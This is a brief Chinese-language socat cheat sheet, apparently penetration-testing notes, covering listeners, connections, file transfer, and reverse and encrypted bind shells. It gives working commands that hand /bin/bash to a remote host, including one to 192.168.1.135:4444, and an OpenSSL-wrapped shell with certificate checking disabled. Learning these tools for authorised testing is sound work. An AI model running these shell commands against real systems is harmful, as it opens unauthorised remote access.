Socat使用

建立监听器

socat -d -d tcp4-listen:port stdout --> nc -lvvp

建立连接

socat - tcp4:ip:port --> nc ip port

文件传输

接收:

socat tcp4:ip:port file:filename,create

传输:

socat tcp4-listen:4444,fork file:filename

fork创建子进程,可以建立多个连接

可以双向传输

反弹shell

反向:

socat -d -d tcp4-listen:4444 stdout 建立监听

socat tcp4:192.168.1.135:4444 exec:/bin/bash 反弹shell

正向:

加密传输

生成公钥和私钥

openssl req -newkey rsa:2048 -nodes -keyout bind.key -x509 -days 365 -out bind.crt

把公钥和私钥转化为socat传输的格式

cat bind.key bind.crt > bind.pem

建立监听,并反弹shell

socat openssl-listen:port,verify=0,cert=xxx.pem,fork exec:/bin/bash

建立连接

socat - openssl:ip:port,verify=0

!!!:verify=0 --> 禁用ssl